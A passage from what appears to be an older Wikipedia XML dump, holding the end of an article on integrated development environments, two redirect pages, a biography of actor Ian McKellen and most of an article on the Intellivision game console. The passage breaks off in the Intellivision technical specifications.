Many [[Linux]] programmers argue that the existing [[command-line]] [[GNU]] tools are in themselves an IDE, though with a different style of interface and under the Linux environment, many programmers still use [[makefile]]s and their derivatives.  But even on Linux, graphical IDEs are becoming increasingly popular, although almost all of them are built on top of the text-based utilities (which makes them more compatible with each other somehow). Linux programs that use the standard GNU tools are easily ported to other operating systems, including [[Microsoft Windows|Windows]] and [[Mac OS X]], because most of these tools have been ported, using [[Cygwin]] or some other method like [[MinGW]]  on Windows. Similarly, many Linux programmers use [[Emacs]] or [[Vim (text editor)|Vim]] (an advanced text editor that seeks to provide the power of the Unix editor [[Vi]]), which integrates support for many of the standard Unix/Linux build tools in what its users believe is an extremely elegant manner. [[Data Display Debugger]] is intended to be an advanced graphical front-end for many text-based [[Debugger|debugger standard tools]], even if Emacs itself has many plug-ins for debugging.

Under Windows, command-line tools for development are not well known, probably because Windows emphasises a graphical approach. As a result, there are multiple commercial and non-commercial solutions, but each of them has a different design and as a result they tend to have compatibility problems. That said, all the major compiler vendors for Windows provide free copies of their command-line tools, including [[Microsoft]] ([[Visual C Plus Plus|Visual C++]] free version, [[Platform SDK]], Microsoft [[.NET Framework]] SDK, [[nmake]] utility), [[Borland]] ([[bcc32]] compiler, [[make]] utility), and [[GNU]] ([[GNU Compiler Collection|gcc]], [[gdb]], GNU [[make]]).

IDEs have always been popular on the Mac, going back to [[Macintosh Programmer's Workshop]], [[Turbo Pascal]] and [[THINK C]] environments in the mid-[[1980s]].

==See also==
*[[List of integrated development environments]]
*[[Comparison of integrated development environments]]
*[[Software development kit]] (SDK)
*[[Utility program]]
*[[Software engineering]]
*[[List of software engineering topics]]
*[[Computer-aided software engineering]]
*[[IDDE]]
*[[Rapid application development]]
*[[Read Eval Print Loop]]
*[[Sybase]]

==External Links==
*'''[http://www.sybase.com/products/developmentintegration/workspace Sybase Workspace]'''

[[Category:Integrated development environments|*]]

[[ca:Entorn integrat de desenvolupament]]
[[cs:Vývojové prostředí]]
[[de:Integrierte Entwicklungsumgebung]]
[[es:Entorno integrado de desarrollo]]
[[fr:Environnement de développement intégré]]
[[ko:통합 개발 환경]]
[[id:IDE]]
[[it:Integrated development environment]]
[[lt:Integruota kūrimo aplinka]]
[[nl:Integrated Development Environment]]
[[ja:統合開発環境]]
[[pl:Zintegrowane środowisko programistyczne]]
[[ru:Среда разработки программного обеспечения]]
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  <page>
    <title>Integrated Drive Electronics</title>
    <id>15306</id>
    <revision>
      <id>15912784</id>
      <timestamp>2002-06-28T11:39:53Z</timestamp>
      <contributor>
        <username>Uriyan</username>
        <id>64</id>
      </contributor>
      <comment>Redirect to the proper name, description will follow</comment>
      <text xml:space="preserve">#REDIRECT [[Advanced Technology Attachment]]</text>
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  </page>
  <page>
    <title>Injection system</title>
    <id>15307</id>
    <revision>
      <id>15912785</id>
      <timestamp>2005-04-15T00:58:32Z</timestamp>
      <contributor>
        <username>Aaronmz</username>
        <id>220928</id>
      </contributor>
      <comment>no useful content entered on this page since 2002; redirect to more robust article [[Fuel injection]]</comment>
      <text xml:space="preserve">#REDIRECT [[Fuel injection]]</text>
    </revision>
  </page>
  <page>
    <title>Ian McKellen</title>
    <id>15308</id>
    <revision>
      <id>42023878</id>
      <timestamp>2006-03-03T07:40:46Z</timestamp>
      <contributor>
        <username>YiantheGreat</username>
        <id>926502</id>
      </contributor>
      <comment>/* Youth and early career */</comment>
      <text xml:space="preserve">[[Image:Ian McKellen.jpg|thumb|right|thumb|Sir Ian McKellen at the premiere of ''[[The Lord of the Rings: The Return of the King (film)|The Return of the King]]'' in [[Wellington, New Zealand]], [[December 1]], [[2003 in film|2003]]]]
'''Sir Ian Murray McKellen''', [[Order of the British Empire|CBE]] (born [[May 25]], [[1939]]) is a highly acclaimed [[Academy Award|Oscar]] nominated [[actor]] on both [[theatre|stage]] and [[film|screen]].  His roles have spanned genres from serious [[Shakespeare]]an and modern theatre to popular action movies. He is also known as an activist for the [[gay rights|rights]] of [[gay]]s and [[lesbian]]s. 

==Youth and early career==
McKellen was born in [[Burnley]], [[Lancashire]], [[England]], shortly before the outbreak of [[World War II]], and has indicated that this had some impact on him. In an interview with ''[[The Advocate]]'' magazine ([[December 25]], [[2001]]), when an interviewer remarked that he seemed quite calm in the aftermath of the [[September 11, 2001 Terrorist Attack|September 11]] terrorist attack, he said: &quot;Well, darling, you forget &amp;mdash; I slept under a steel plate &lt;nowiki&gt;[&lt;/nowiki&gt;during the [[Battle of Britain]]&lt;nowiki&gt;]&lt;/nowiki&gt; until I was four years old.&quot; (Quotes in this article are from the Advocate interview unless otherwise noted.)

McKellen's father, Denis Murray McKellen, a [[civil engineer]], was a [[laity|lay]] preacher, and both of his grandfathers were preachers as well. His home environment was strongly [[Christianity|Christian]], but non-orthodox. &quot;My upbringing was of low nonconformist Christians who felt that you led the Christian life in part by behaving in a Christian manner to everybody you met.&quot; When he was 12, his mother, Margery Lois McKellen (née Sutcliffe) died; his father died when he was 24.

When he [[Coming out|came out]] of the closet to his stepmother, Gladys McKellen, who was a [[Religious Society of Friends|Friend]] (Quaker): &quot;Not only was she not fazed, but as a member of a society which declared its indifference to people's sexuality years back, I think she was just glad for my sake that I wasn't lying any more.&quot;

McKellen's acting career started while he was still a boy. He won a scholarship to [[St Catharine's College, Cambridge|St. Catharine's College]], [[University of Cambridge]], when he was 18, where he developed an intense crush on [[Derek Jacobi]]. He has characterized it as &quot;a passion that was undeclared and unrequited.&quot;  McKellen made his stage début in [[Coventry]] in [[1961]] and his [[West End]] début in [[1964]]. He was already a major name in the theatre before establishing himself as a television and film actor.  

He and his first serious partner, Brian Taylor, began their relationship in [[1964]]. It was a relationship that was to last for eight years, ending in [[1972]]. They lived in [[London]], where McKellen continued to pursue his career as an actor.  For over a decade he has lived in a five-story Victorian conversion in [[Narrow Street]], [[Limehouse]], [[London]].

==First major stage roles==
The role that made McKellen famous was his [[1969]] portrayal of King [[Edward II of England]] in the [[Prospect Theatre Company]]'s touring production of [[Marlowe]]'s ''[[Edward II (play)|Edward II]]''. The production was controversial for its explicit torture scenes and implicit homosexuality.  He later reprised the role for the [[BBC]].  In [[1972]], he founded the [[Actors' Company]] with his friend [[Edward Petherbridge]], and this was the beginning of his reputation as a spokesman for actors and the British theatre in general.  Between [[1974]] and [[1978]], he enhanced his reputation with leading roles in [[Royal Shakespeare Company]] productions such as ''[[Romeo and Juliet]]'' (in which he played opposite [[Francesca Annis]]) and ''[[Macbeth]]'' (opposite [[Judi Dench]]).  

In [[1978]] he met his second lover, [[Sean Mathias]], at the [[Edinburgh Festival]]. According to Mathias, the love affair was tempestuous, with conflicts over McKellen's success in acting versus Mathias' somewhat less-successful career.  Mathias said that &quot;in those days, the world was far more [[homophobia|homophobic]], and me being the young, pretty boy &amp;mdash; people wouldn't take me seriously as an actor, being Ian's boyfriend.&quot; Mathias was 22 when they met; McKellen 39. However, Mathias also says McKellen &quot;did nothing but help me&quot; in his career.

==Award-winning successes==
McKellen starred on [[Broadway theatre|Broadway]] in ''[[Bent (play)|Bent]]'', a play about gay men in [[Nazi]] [[extermination camp|death camps]], starting in 1979. Despite his role in this ground-breaking play, which brought to public view for the first time in a widespread way the persecution of [[homosexuality|gay]] people in [[Nazi Germany]], McKellen was not yet out publicly. At first, he was unsure whether he dared to take the role. &quot;As impressed as I was by it, I thought 'My God! Do I dare be in this?' And Sean read it and said, 'Well you have to do it',&quot; he said.

''Bent'' proved to be of great significance to McKellen. Since starring in the original Broadway production of ''Bent'', he has been involved in two other productions of the play.  In [[1990]] he starred in the revival at the [[Royal National Theatre|National Theatre]] in London directed by Mathias, and also made a supporting appearance in the movie version, also directed by Mathias, which was released in [[1997 in film|1997]].

McKellen's talents won him successively more important and visible parts, until eventually in 1980 he won the role of [[Salieri]] in the [[Broadway theatre|Broadway]] production of ''[[Amadeus]]''. He was awarded the [[Tony Award]] for his performance, the most prestigious award given to actors in live theatre in the [[United States]].  His appearance as ''Walter'', a mentally-retarded adult, in a [[1982 in television|1982]] television play, won him a new following; but he was still a relative unknown to much of the U.S. public.

In the 1990s, McKellen began to branch into major American film and television roles.  In [[1993 in film|1993]], McKellen had a supporting role as a South African tycoon in the [[sleeper hit]] ''[[Six Degrees of Separation]]'', in which he starred with [[Stockard Channing]], [[Donald Sutherland]], and [[Will Smith]].  In the same year, he was also exposed to North American audiences in minor roles in the television [[miniseries]] ''[[Tales of the City]]'' (based on the novel by his friend [[Armistead Maupin]]) and the movie ''[[Last Action Hero]]'', in which he played [[Death]]. Also in 1993, McKellen played a large role in the TV movie ''[[And the Band Played On]],'' about the discovery of the [[AIDS]] virus.  In [[1995 in film|1995]], he played the title role in ''[[Richard III (1995 movie)|Richard III]]''.  The performance was critically acclaimed, and he was nominated for [[Golden Globe]] and [[BAFTA]] awards, and won the [[European Film Awards|European Film Award]] for best actor.

His breakthrough role for mainstream American audiences came with the modestly-acclaimed ''[[Apt Pupil]],'' based on a story by [[Stephen King]]. McKellen portrayed an old Nazi officer, living under a [[Pseudonym|false name]] in the U.S., who was befriended by a curious teenager ([[Brad Renfro]]) who threatened to expose him unless he told his story in detail.

[[Elizabeth II of the United Kingdom|Queen Elizabeth II]] appointed him a [[Order of the British Empire|CBE]] in 1979 and knighted him in 1990 for his outstanding work and contributions to the theatre, becoming Sir Ian McKellen.

In 1994 McKellen put together a one man show, ''[[A Knight Out]]''. The show was very successful and he still performs it today. He considers it a perpetual &quot;work in progress&quot;.
[[Image:GandalfPoster.jpg|thumb|150px|right|Sir Ian McKellen played the [[wizard]] [[Gandalf]] in ''[[The Lord of the Rings: The Fellowship of the Ring (film)|The Lord of the Rings: The Fellowship of the Ring]]'', for which he earned an [[Academy Award]] nomination.]]
He was nominated for the [[Academy Award for Best Actor]] for his role in the 1998 film ''[[Gods and Monsters]]'', where he played [[James Whale]], gay director of ''[[Show Boat]]'' (1936) and ''[[Frankenstein (1931 film)|Frankenstein]]''.

More recently, McKellen has become a major global star by playing leading roles in blockbuster films. First he played [[Magneto (comics)|Magneto]] in ''[[X-Men (film)|X-Men]]'' and its sequel ''[[X2 (film)|X2]]''. He followed that performance with the role of [[Gandalf]] in the three films that comprise the screen adaptation of ''[[The Lord of the Rings]]'' (''[[The Lord of the Rings: The Fellowship of the Ring (film)|The Fellowship of the Ring]]'', ''[[The Lord of the Rings: The Two Towers (film)|The Two Towers]]'', and ''[[The Lord of the Rings: The Return of the King (film)|The Return of the King]]''). For ''The Fellowship of the Ring'' he was nominated for the [[Academy Award for Best Supporting Actor]]. He will reprise the role of Magneto in the upcoming [[As of 2006|2006]] sequel ''[[X-Men: The Last Stand]]''.

In April and May 2005, he played the role of Mel Hutchwright in [[Granada Television]]'s long running soap opera, [[Coronation Street]].

==Work for gay rights==
While McKellen was always out to his co-actors, his public persona was another matter. It was not until [[1988]] that he came out to the general public. A controversial amendment was under consideration in the [[United Kingdom]] [[Parliament of the United Kingdom|Parliament]]: [[Section 28]] of the Local Government Bill proposed to prohibit local authorities from promoting homosexuality 'as a kind of pretended family relationship'. The drafting was open to several interpretations and the actual impact of the amendment was uncertain. McKellen became active in fighting the proposed law, and declared himself gay in a debate with the conservative journalist [[Peregrine Worsthorne]] which was aired by the [[BBC]]. &quot;My own participating in that campaign was a focus for people [to] take comfort that if Ian McKellen was on board for this, perhaps it would be all right for other people to be as well, gay and straight,&quot; he said. Section 28 was, however, enacted and remained on the statute books until 2003. McKellen continued to fight for its repeal and criticised [[British Prime Minister]] [[Tony Blair]] for failing to concern himself with the issue.

[[Image:Section28.jpg|thumb|200px|Sir Ian McKellen with [[Michael Cashman]] at the Gay Rights March on Manchester in protest of [[Section 28]] in 1988.]]
By the time he came out, McKellen's ten-year relationship with Mathias had also ended. He has stated that being free of the additional concern of what effect his coming out would have on his partner's career made the choice easier, as did the advice and support of his friends, among them noted gay author [[Armistead Maupin]].

In 1994, he made a bit of a splash at the closing ceremony of the [[Gay Games]], where he stood before a crowd of gay athletes and their supporters and fans to say, &quot;I'm Sir Ian McKellen, but you can call me Serena.&quot; (This nickname had been circulating within the gay community since McKellen's knighthood was conferred).

McKellen has continued up to the present to be very active in [[gay rights movement|gay rights]] efforts. He is a co-founder of [[Stonewall (UK)|Stonewall]], a gay rights lobby group in the United Kingdom. The group is named after the [[Stonewall riots]].

==Selected stage and screen credits==
===Theatre===
*''[[Much Ado About Nothing]]'', [[Royal National Theatre]], [[Old Vic]], London, 1965
*''[[Trelawney of the &quot;Wells&quot;]]'', National Theatre, London &amp; [[Chichester Festival Theatre|Chichester Festival]], 1965
*''[[The Promise]]'', [[West End theatre|West End]]; [[Broadway theatre|Broadway]], 1967
*''[[Edward II (play)|Edward II]]'' (in title role), [[Edinburgh Festival]] &amp; West End, 1969
*''[[Hamlet]]'' (title role), UK/European Tour, 1971
*''[[Tis Pity She's a Whore|'Tis Pity She's a Whore]]'', UK Tour, 1972
*''[[The Tragical History of Doctor Faustus|Dr Faustus]]'' (title role), [[Royal Shakespeare Company]], Edinburgh Festival &amp; Aldwych Theatre (London), 1974
*''[[King John]]'', RSC, 1975
*''[[Romeo and Juliet]]'' (as Romeo), RSC, Stratford-upon-Avon &amp; London, 1976
*''[[The Winter's Tale]]'', RSC, Stratford-upon-Avon, 1976
*''[[Macbeth]]'' (title role), RSC, Stratford-upon-Avon &amp; [[Young Vic]] (London), 1976-1977
*''[[The Alchemist (play)|The Alchemist]]'', RSC, Stratford-upon-Avon &amp; London, 1977
*''[[Every Good Boy Deserves Favour]]'', RSC, [[Barbican Arts Centre]] (London), 1977
*''[[Three Sisters (play)|Three Sisters]]'', RSC, UK Tour, 1978
*''[[Bent]]'', West End, 1979
*''[[Coriolanus]]'' (title role), National Theatre, 1984
*''[[Wild Honey]]'', National Theatre, 1984 (&amp; Broadway, 1986)
*''[[The Cherry Orchard]]'' (as Lopakhin), National Theatre, 1985
*''[[The Duchess of Malfi]]'', National Theatre, 1985
*''[[The Real Inspector Hound]]'', National Theatre, London &amp; Paris, 1985
*''[[Othello]]'' (as Iago), RSC, London &amp; Stratford-upon-Avon, 1989
*''[[Richard III (play)|Richard III]]'' (title role), National Theatre, world tour, 1990 &amp; US tour, 1992
*''[[Uncle Vanya]]'' (title role), National Theatre, 1992
*''[[Peter Pan]]'' (as Mr. Darling/Captain Hook), National Theatre, 1997
*''[[An Enemy of the People]]'', National Theatre, 1997 &amp; [[Ahmanson Theatre]] (Los Angeles), 1998
*''[[Present Laughter]]'', [[West Yorkshire Playhouse]] (Leeds, England), 1998
*''[[Aladdin (play)|Aladdin]]'', Old Vic, 2004
*''[[Aladdin]],'' Old Vic, 2005

===Film===
[[Image:IanMcKellen.0051.jpg|thumb|right|180px|Sir Ian McKellen takes a day out at [[Universal Studios]], Hollywood, April 2000. Although a veteran performer on both stage and screen, he has only recently taken up serious [[Hollywood]] roles. Photo by [[Keith Stern]].]]
*''[[The Keep]]'', (1983)
*''[[Plenty (film)|Plenty]]'', (1985)
*''[[Scandal]]'' (as [[John Profumo]]), (1989)
*''[[Six Degrees of Separation]]'', (1993)
*''[[Last Action Hero]]'', (1993)
*''[[The Shadow]]'', (1994)
*''[[Restoration (film)|Restoration]]'', (1995)
*''[[Richard III (1995 movie)|Richard III]]'', (1995)
*''[[Cold Comfort Farm]]'', (1996)
*''[[Bent]]'', (1997)
*''[[Apt Pupil]]'', (1998)
*''[[Gods and Monsters]]'', (1998)
*''[[X-Men (film)|X-Men]]'', (2000)
*''[[The Lord of the Rings: The Fellowship of the Ring (film)|The Lord of the Rings: The Fellowship of the Ring]]'', (2001)
*''[[The Lord of the Rings: The Two Towers (film)|The Lord of the Rings: The Two Towers]]'', (2002)
*''[[The Lord of the Rings: The Return of the King (film)|The Lord of the Rings: The Return of the King]]'', (2003)
*''[[X2 (film)|X2: X-Men United]]'', (2003)
*''[[Emile]]'', (2005)
*''[[Asylum]]'', (2005)
*''[[Flushed Away]]'', (2006)
*''[[X-Men 3]]'', (2006)
*''[[The Da Vinci Code (movie)|The Da Vinci Code]]'', (2006)

===Television===
*''[[David Copperfield]]'' (title role), (1966)
*''[[Hay Fever]]'', (1968)
*''[[Keats]]'' (as [[John Keats]]), (1970)
*''[[Edward II (play)|Edward II]]'', (1970)
*''[[Richard II (play)|The Tragedy of King Richard II]]'', (1970)
*''[[Hedda Gabler]]'', (1972)
*''[[Macbeth]]'', (1979)
*''[[The Scarlet Pimpernel]]'', (1982)
*''[[Walter]]'', (1982)
*''[[And the Band Played On]]'', (1993)
*''[[Tales of the City]]'', (1993)
*''[[Rasputin]]'' (as [[Tsar Nicholas II]]), (1996)
*''[[Coronation Street]]'' (2005)

==References==
* Quotes used in this article are from an interview conducted by ''[[The Advocate]]'', [[December 11]], [[2001]].
* Information about his home taken from [[The Times]], August 2005.

==External links==
{{commons|Ian McKellen}}
* [http://www.mckellen.com/ Home page]
* [http://www.mckellen.com/cinema/lotr/index.htm McKellen's personal pages on the Lord of the Rings movie, features a diary and answers to questions by fans.]
* [http://www.overstuffed-closet.net/ian The Ian McKellen Fanlisting]
* [http://www.ibdb.com/person.asp?ID=6425 Ian McKellen at the Internet Broadway Database]
*{{imdb name|id=0005212|name=Ian McKellen}}


[[Category:1939 births|McKellen, Sir Ian]]
[[Category:Alumni of St. Catharine's College, Cambridge|McKellen, Ian]]
[[Category:Atheists|McKellen, Sir Ian]]
[[Category:Best Supporting Actor Oscar Nominee|McKellen, Ian]]
[[Category:Commanders of the British Empire|McKellen, Sir Ian]]
[[Category:Coronation Street actors|McKellen, Ian]]
[[Category:British film actors|McKellen, Ian]]
[[Category:British stage actors|McKellen, Ian]]
[[Category:English film actors|McKellen, Ian]]
[[Category:English stage actors|McKellen, Ian]]
[[Category:Gay actors|McKellen, Ian]]
[[Category:LGBT rights activists|McKellen, Ian]]
[[Category:Living people|McKelln, Ian]]
[[Category:Natives of Lancashire|McKellen, Ian]]
[[Category:The Lord of the Rings film series actors|McKellen, Ian]]
[[Category:Vegetarians|McKellen, Sir Ian]]
[[Category:X-Men actors|McKellen, Ian]]

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      <text xml:space="preserve">{{CVG system| title = Intellivision
|logo = 
|image = [[Image:intellivision.jpg|230px|]]
|manufacturer = [[Mattel]]
|type = [[Video game console]]
|generation = [[History of video games (second-generation systems)|Second generation]]
|lifespan = [[1980]]
|media = [[Cartridge (electronics)|Cartridge]]
|onlineservice =
|topgame = 
}}
The '''Intellivision''' is a [[video game console]] released by [[Mattel]] in [[1980]]; development of the console began in 1978 (less than a year after the introduction of its main competitor, the legendary [[Atari 2600]] aka the Atari VCS).

==Rapid popularity==
The Intellivision was developed by Mattel Electronics, a subsidiary of Mattel formed expressly for the development of electronic games. The console was test marketed in [[Fresno, California|Fresno]], [[California]], in [[1979]] with a total of four games available, and went nationwide in [[1980]] with a price tag of $299 and a pack-in game: ''[[Las Vegas, Nevada|Las Vegas]] [[Blackjack]]''. Though not the first system to challenge [[Atari]] (systems from [[Fairchild Semiconductor]], [[Bally]], and [[Magnavox]] were already on the market), it was the first to pose a serious threat to Atari's dominance. A series of ads featuring [[George Plimpton]] were produced which mercilessly attacked the Atari 2600's lesser capabilities with side-by-side game comparisons.

One of the slogans of the television advertisements stated that Intellivision was &quot;the closest thing to the real thing&quot;; one example in an advertisement compared golf games - the others had a blip sound and cruder graphics, while Intellivision featured a realistic swing sound and striking of the ball, and graphics that suggested a more 3D look, although undoubtedly crude when compared with modern game consoles.

Like [[Atari]], Mattel marketed their console to a number of retailers as a rebadged unit. These models include the [[Radio Shack]] [[Tandyvision]], the [[GTE-Sylvania]] Intellivision, and the [[Sears]] [[Super Video Arcade]]. (The Sears model was a particular coup for Mattel, as Sears was already selling a rebadged [[Atari 2600]] unit, and in doing so making a huge contribution to Atari's success.) 

In that first year Mattel sold 175,000 Intellivision consoles, and the library grew to 19 games. At this point in time, all Intellivision games were developed by an outside firm, [[APh]]. The company recognized that what had been seen as a secondary product line might be a big business.  Realizing that potential profits are much greater with first party software, Mattel formed its own in-house software development group. 

The original five members of that Intellivision team were manager [[Gabriel Baum]], [[Don Daglow]], [[Rick Levine]], [[Mike Minkoff]] and [[John Sohl]].  Levine and Minkoff (a long-time Mattel Toys veteran) both came over from the hand-held Mattel games engineering team.  To keep these programmers from being hired away by rival Atari, their identity and work location was kept a closely guarded secret. In public, the programmers were referred to collectively as the [[Blue Sky Rangers]].

By [[1982]] sales were soaring. Over two million Intellivision consoles had been sold by the end of the year, earning Mattel a $100,000,000 profit. This was a big year for Mattel. Third party Atari developers [[Activision]], and [[Imagic]] began releasing games for the Intellivision, as did hardware rivals Atari and [[Colecovision]].  Mattel created ''[[M Network]]'' branded games for Atari and Coleco's systems.   The most popular titles sold over a million units each. 

The original 5-person Mattel game development team had grown to 110 people under now-Vice President Baum, while Daglow led Intellivision development and top engineer Minkoff directed all work on all other platforms.

==Keyboard Component==
Many users waited patiently for the promised release of the &quot;Keyboard Component&quot;, an add-on computer upgrade unit touted by Mattel as &quot;coming soon&quot; even when the original console was first shipped. The unit featured a built-in cassette tape drive for loading and saving data. The Keyboard Component would plug into the cartridge slot on the Intellivision, and had an additional cartridge slot of its own to allow regular Intellivision games to be played in the usual way.

The upgrade had proven too expensive to develop and produce, so Mattel had repeatedly sent the engineers &quot;back to the drawing board&quot; to attempt to increase reliability and reduce cost. Mattel was subsequently investigated by the [[Federal Trade Commission]] (FTC) for failing to produce the promised upgrade, and eventually ordered to pay $10,000 a day (about $25,000 in 2005 when adjusted for inflation) until it was released. Finally, Mattel offered the Keyboard Component for sale via mail order.

Four thousand units were sold; many were later returned for a full refund when Mattel recalled the unit in 1983 due to various support problems, especially that the then-innovative cassette tape unit never proved to be reliable.  According to the Blue Sky Rangers web site, users who opted to keep theirs were made to sign a waiver absolving Intellivision of all future responsibility for technical support. [http://www.intellivisionlives.com/bluesky/hardware/index.html]  In addition, the Keyboard Component could be modified into a development platform for the Intellivision, and such units were used internally for game development during the latter portion of the system's lifespan.

By this time, Mattel had set up competing internal engineering teams, each trying to either fix the Keyboard Component or replace it.  The rival Mattel engineers had come up with a much less expensive keyboard alternative.  The [[Entertainment Computer System]] (ECS), was much smaller, sleeker, and easier to produce than the original Keyboard Component. Unfortunately, while the original Keyboard Component had some advantages over the small computers of its day, the new Keyboard Component was designed to be inexpensive, not functional, and was far less powerful than emerging machines like the Commodore 64.  The two keyboard units were incompatible, but owners of the older unit were offered a new ECS.

To maintain secrecy in a [[toy]] industry where [[industrial espionage]] was a way of life, many projects had code names, so documents and casual discussion did not reveal company secrets.  With the video games business already staggering by the time the new Keyboard Component was planned, Daglow suggested the new device be code-named LUCKI (for &quot;Low User Cost Keyboard Interface.&quot;)  The name stuck but the good fortune did not: the cheaply manufactured ECS keyboard add-on was a retail failure.

==IntelliVoice==
[[Image:Intellivision1.jpg|thumb|right|315px|Intellivision II featuring the game ''[[Burger Time]]'' and the [[voice synthesis]] module.]]

In [[1983]] Mattel introduced a new [[peripheral]] innovative for the time: [[IntelliVoice]], a [[voice synthesis]] device which produced speech when used with certain games, most of which would not work without the add-on component.  Top Mattel programmers including [[Bill Fisher]], [[Steve Roney]], [[Gene Smith]] and John Sohl were diverted to the project, slowing the previous initiative to counter Atari with new arcade-style games.  Voice titles included:
* ''[[Bomb Squad (game)|Bomb Squad]]''
* ''[[B-17 Bomber (game)|B-17 Bomber]]''
* ''[[Intellivision World Series Baseball]]'' (IntelliVoice optional since the game already required the ECS keyboard)
* ''[[Space Spartans]]''
* ''[[TRON Solar Sailer]]''

==Intellivision II==
In addition to the IntelliVoice module, 1983 also saw the introduction of a redesigned model, called the [[Intellivision II]] (featuring detachable controllers and sleeker case), the [[System Changer]] (which played [[Atari 2600]] games on the Intellivision II), and a music keyboard add-on for the ECS.

Like the ECS, Intellivision II was designed first and foremost to be inexpensive to manufacture.  Among other things, the raised bubble keypad of the original hand controller was replaced by a flat [[membrane keyboard]] surface.  Unfortunately, many Intellivision games had been designed for users to play by feeling the buttons without looking down, and many games were far less playable on Intellivision II.

==Competition and market crash==
:''See also:'' [[Video game crash of 1983]]

Amid the flurry of new hardware, there was trouble for the Intellivision. New game systems ([[Colecovision|ColecoVision]], [[Atari 5200]], and [[Vectrex]], all in [[1982]]) were further subdividing the market, and the [[video game crash of 1983|videogame crash]] began to put pressure on the entire industry.  The Intellivision team rushed to finish a major new round of games, including [[Burger Time]] and the ultra-secret [[3D glasses]] game [[Hover Force]]. Unfortunately, although Burger Time was one of the best games on the Intellivision and was programmed by Blue Sky Ranger [[Ray Kaestner]] in record time, the five-month manufacturing cycle meant that the game did not appear until the late spring of 1983, after the video game crash had severely damaged game sales.

In the spring of 1983 Mattel went from aggressively hiring game programmers to laying them off within a two week period.  By August there were massive layoffs, and the price of the Intellivision II (which launched at $150 earlier that year) was lowered to $69. Mattel Electronics posted a $300 million loss. Early in 1984, the division was closed - the first high profile victim of the crash.

Intellivision game sales continued when a liquidator purchased all rights to the Intellivision and its software from Mattel, as well as all remaining inventory.  After much of the existing software inventory had been sold, former Mattel Marketing executive [[Terry Valeski]] bought all rights to Intellivision and started a new venture.  The new company, INTV Corp., continued to sell old stock via retail and mail order. When the old stock of Intellivision II consoles ran out, they introduced a new console dubbed [[INTV III]]. This unit was actually a cosmetic rebadge of the original Intellivision console (this unit was later renamed the [[Super Pro System]].) In addition to manufacturing new consoles, INTV Corp. also continued to develop new games, releasing a few new titles each year. Eventually, the system was discontinued in [[1991]].

Intellivision games became readily available again when Keith Robinson, an early Intellivision programmer responsible for the game [http://www.intellivisionlives.com/bluesky/games/credits/voice2.shtml#solar_sailer TRON Solar Sailer] purchased the software rights and founded a new company, Intellivision Productions.  As a result, games originally designed for the Intellivision are available on modern-day consoles including the [[PlayStation 2]], [[Xbox]], [[Nintendo GameCube]] and [[Nintendo DS]], in the ''[[Intellivision Lives!]]'' package.

==Statistics== 
*Over 3 million Intellivision consoles were sold during its 12 year run.
*There were a total of 125 Intellivision games released.

==Innovations==
*Intellivision was the first [[16-bit]] game console, though some people have mistakenly referred to it as a 10-bit system because the [[central processing unit|CPU]]'s instruction set and game cartridges are 10 bits wide. A 10-bit chunk of data is called a &quot;decle&quot;.  The [[processor register|registers]] in the [[microprocessor]], where the mathematical logic is processed, were 16 bits wide.
*The Intellivision was also the first system to feature downloadable games (though without a storage device the games vanished once the machine was turned off). In 1981, [[General Instrument]] (manufacturer of the Intellivision's CPU) teamed up with Mattel to roll out the [[PlayCable]], a device that allowed the downloading of Intellivision games via cable TV.
*Intellivision was the second game console to provide real-time human and robot voices in the middle of gameplay, courtesy of the IntelliVoice module. The first was Magnavox's voice module for the Odyssey2.
*[[Intellivision World Series Baseball]], designed by [[Don Daglow]] and [[Eddie Dombrower]] and released in 1983, was the first video game to use the concept of displaying the action in simulated 3D through &quot;camera angles&quot; that emulated those used in TV sports coverage.  Prior games always showed a single fixed or scrolling camera view of the field.  Daglow and Dombrower went on to create the [[Earl Weaver Baseball]] games at [[Electronic Arts]] in [[1987]].
*It was also the first console to feature a controller with a directional pad that allowed 16 directions, which was handy for sports games. However, the ergonomics of the disc-shaped pad, and particularly the &quot;action&quot; buttons on the side of the controller, were poor.  This turned off some gamers.  Along with cost, this was one of the factors in making the Intellivision less popular than the Atari 2600.  However, it is interesting to note that the method of controlling movement on the Intellivision (with the thumb) is not too different from the popular home video game controllers we see now (from the NES to today).  The joystick style controller is much more rare on modern consoles.

== Trivia ==
*During the early 80s, [[New York]] based television station [[WPIX]] ran a very popular telephone interactive game called TV-PIXX (The PIXX being derived from the TV station's call letters). It was aired during the traditional weekday afternoon slot of children's programming as an interlude during whatever show was being aired. Participants would be called at home to play a videogame that appeared on their screen. Two of the Earliest games featured on the segment were simple games such as Tic Tac Toe and a Breakout type game called Moving Target. Intellivision's Football, Baseball, Basketball, and Space Battle were later featured as the TV segment got more popular. Participants would say the word &quot;PIXX&quot; in order to affect a game action such as passing the ball, swinging the bat, or firing the laser. Based on the score, Kids could win prizes such as T-shirts and $10 Dollar U.S. [[Savings Bonds]]. They could double their prize or win a bonus prize (such as advance tickets to see upcoming films) by answering a Trivia question. For a chance at playing, kids could send a postcard with their name, address, and phone number to TV PIXX c/o WPIX TV, New York, NY. TV Pixx lasted until 1982 when the Intellivision system became a popular home game system but for many New York viewers, this TV segment was their first glimpse of the Intellivison home game system.

*A similar syndicated show ran in the Los Angeles area at the same time, with callers saying ''POW!'' to interface with the system.  The show was sabotaged by prank callers calling in to the station after telling an operator the call was an emergency, which caused the operator to interrupt the live program with a &quot;I have an emergency call for 555-1212&quot; message.

*Intellivision is short for ''Intelligent Television''.

== Screenshots ==
&lt;gallery&gt;
Image:Intv_Armor_Battle.png|''[[Armor Battle]]''&lt;br&gt;Mattel/APh (1979)
Image:Intv_Auto_Racing.png|''Auto Racing''&lt;br&gt;Mattel/APh (1980)
Image:Intv_Major_League_Baseball.png|''Major League Baseball''&lt;br&gt;Mattel/APh (1980)
Image:Intv_NHL_Hockey.png|''NHL Hockey''&lt;br&gt;Mattel/APh (1980)
Image:Intv_Donkey_Kong.png|''[[Donkey Kong (arcade game)|Donkey Kong]]''&lt;br&gt;[[Coleco]] ([[1982]])
Image:Intv_Frog_Bog.png|''Frog Bog''&lt;br&gt;Mattel/APh (1982)
Image:Intv_[[Lock_'n'_Chase]].png|''Lock'n'Chase''&lt;br&gt;Mattel (1982)
Image:Intv_QBert.png|''[[QBert|Q*Bert]]''&lt;br&gt;[[Parker Brothers]] ([[1983]])
&lt;/gallery&gt;

More screenshots can be found in the [[Intellivision/Screenshots|Screenshot Gallery]].

==Technical specifications==
*General Instrument CP1610 16-bit microprocessor [[central processing unit|CPU]] running at 894.886 [[kilohertz|kHz]] (i.e., slightly less than 1 MHz)
*1352 [[byte]]s of [[random-access memory|RAM]]:
